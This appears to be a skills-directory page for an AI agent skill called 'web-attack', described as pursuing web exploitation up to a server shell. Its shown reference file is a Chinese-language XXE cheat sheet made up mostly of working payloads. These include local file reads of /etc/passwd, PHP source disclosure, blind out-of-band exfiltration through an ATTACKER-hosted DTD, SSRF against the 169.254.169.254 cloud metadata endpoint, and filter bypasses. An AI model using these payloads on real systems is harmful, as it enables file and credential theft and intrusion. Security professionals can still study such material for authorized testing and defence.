pale-knight/redteam-skill / skills/web-attack
web-attack
FlaggedHTTP/Web exploitation until a server shell or equivalent OS execution. Use after /web-recon has mapped the application. Covers injection, upload, LFI, SSRF/XXE, SSTI, deserialization, JWT/SAML, API logic, desync/cache/parser, and Web-controlled backend abuse. WAF stays here. Endpoint blocks after OS execution hand off to /edr-bypass then return. Direct non-HTTP service ports belong to /recon or /service-attack.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 5.3 KB |
| references/api-security.md | markdown | 20.3 KB |
| references/auth-bypass.md | markdown | 1.9 KB |
| references/cmdi.md | markdown | 5.0 KB |
| references/deserialization.md | markdown | 1.6 KB |
| references/http-desync.md | markdown | 5.2 KB |
| references/java-deserialization.md | markdown | 3.3 KB |
| references/jwt.md | markdown | 1.4 KB |
| references/lfi-rfi.md | markdown | 4.0 KB |
| references/orm-leak.md | markdown | 5.3 KB |
| references/parser-differentials.md | markdown | 4.4 KB |
| references/saml-security.md | markdown | 3.6 KB |
| references/server-side-client-abuse.md | markdown | 3.3 KB |
| references/sqli-mssql-chain.md | markdown | 6.3 KB |
| references/sqli-mysql-chain.md | markdown | 5.9 KB |
| references/sqli-oracle-chain.md | markdown | 4.7 KB |
| references/sqli-postgresql-chain.md | markdown | 4.6 KB |
| references/sqli.md | markdown | 8.0 KB |
| references/ssrf.md | markdown | 4.6 KB |
| references/ssti.md | markdown | 5.3 KB |
| references/upload.md | markdown | 3.6 KB |
| references/waf-bypass.md | markdown | 6.8 KB |
| references/web-cache.md | markdown | 4.1 KB |
| references/xss.md | markdown | 3.8 KB |
| references/xxe.md | markdown | 1.5 KB |
references/xxe.md
View on GitHub# XXE
> **TECH:** XML 外部实体 → 读文件 / OOB / 转 SSRF
> **成功:** 读到目标文件或 OOB 带回数据;能转 SSRF 则继续 ssrf.md 打到执行
## XXE 外部实体注入
场景:接收XML的接口(Content-Type: application/xml)、SOAP、SAML、SVG/docx/xlsx上传、RSS。
### 有回显 — 读文件
```xml
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><name>&xxe;</name></root>
```
### 读PHP源码(特殊字符会破坏XML,用filter转base64)
```xml
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
```
### 盲XXE — OOB外带
攻击机放 `http://ATTACKER/evil.dtd`:
```xml
<!ENTITY % f SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY exfil SYSTEM 'http://ATTACKER/?x=%f;'>">
%all;
```
目标提交:
```xml
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY % ext SYSTEM "http://ATTACKER/evil.dtd"> %ext;]>
<root>1</root>
```
攻击机web日志收到 `/?x=root:x:0:0...` → 外带成功。
### 报错型XXE
把文件内容塞进不存在的实体路径触发报错,报错栈带出内容。
### JSON接口转XML
很多JSON接口也接受XML:改 Content-Type 为 application/xml,body换成XML重发。
### XXE打SSRF
```xml
<!DOCTYPE r [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root><name>&xxe;</name></root>
```
### 绕过
```
DOCTYPE被过滤 → 参数实体 / UTF-16编码
ENTITY被过滤 → CDATA包裹
```
---
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| receiving-code-reviewobra/superpowersUse when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| requesting-code-reviewobra/superpowersUse when completing tasks, implementing major features, or before merging to verify work meets requirements | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| using-git-worktreesobra/superpowersUse when starting feature work that needs isolation from current workspace or before executing implementation plans - ensures an isolated workspace exists via native tools or git worktree fallback | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| verification-before-completionobra/superpowersUse when about to claim work is complete, fixed, or passing, before committing or creating PRs - requires running verification commands and confirming output before making any success claims; evidence before assertions always | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |